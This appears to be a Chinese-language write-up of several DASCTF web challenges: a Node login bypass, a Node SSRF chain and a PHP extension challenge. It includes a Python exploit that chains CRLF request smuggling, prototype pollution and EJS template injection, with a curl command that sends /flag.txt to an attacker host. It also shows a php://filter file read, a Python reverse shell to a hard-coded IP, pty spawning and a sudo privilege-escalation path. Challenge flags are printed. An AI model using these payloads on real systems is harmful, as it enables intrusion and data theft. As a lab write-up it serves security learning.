Node Magical Login
简单的js代码审计。
Flag分成了两部分。
第一部分:
这里就简单的判断了一下user是否等于admin,直接绕过。
第二部分:
checkcode !== “aGr5AtSp55dRacer”,让其为真,利用数组绕过。
Flag为:DASCTF{235657355 32540557696203746863296}
real_ez_node
找到类似的题目。
几道nodejs题目的分析_GAPPPPP的博客-CSDN博客_nodejs ssrf
里边Node Game这一道也是ssrf。
修改一下里边的代码,利用ssrf打原型链污染,然后ejs模板注入。
Exp:
import requests
import urllib.parse
def encode(a):
tmp = u""
for i in a:
tmp += chr(0x0100+ord(i))
return tmp
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 170
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl http://vps:port -F xx=@/flag.txt');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = encode(payload)
re = requests.get('http://3000.endpoint-9a3d98e7aaf647ae8c64b7007bfc464b.m.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payload))
print(re.text)
Flag为:DASCTF{10034776926713905225407173576398}
扭转乾坤
大写一个F即可
DASCTF{407a13a21a6b85b1236b003479468c82}
unusual php
phpinfo发现test的拓展
读php.ini
读取so文件
http://url/?a=read&file=php://filter/convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
反编译看一下存在对文件进行rc4解密操作
那就对一句话rc4加密
base64解码后保存为exp.php,上传发现需要提权
python -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.69.247.186",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
尝试使用sudo发现tty问题,使用python加载一个pty
python3 -c 'import pty;pty.spawn("/bin/sh")'
sudo进行cat,发现需要密码,在etc目录发现sudoers.bak备份文件,发现www用户chmod不需要密码
直接上权限,读flag
flag为:DASCTF{20663467266566204775890084453113}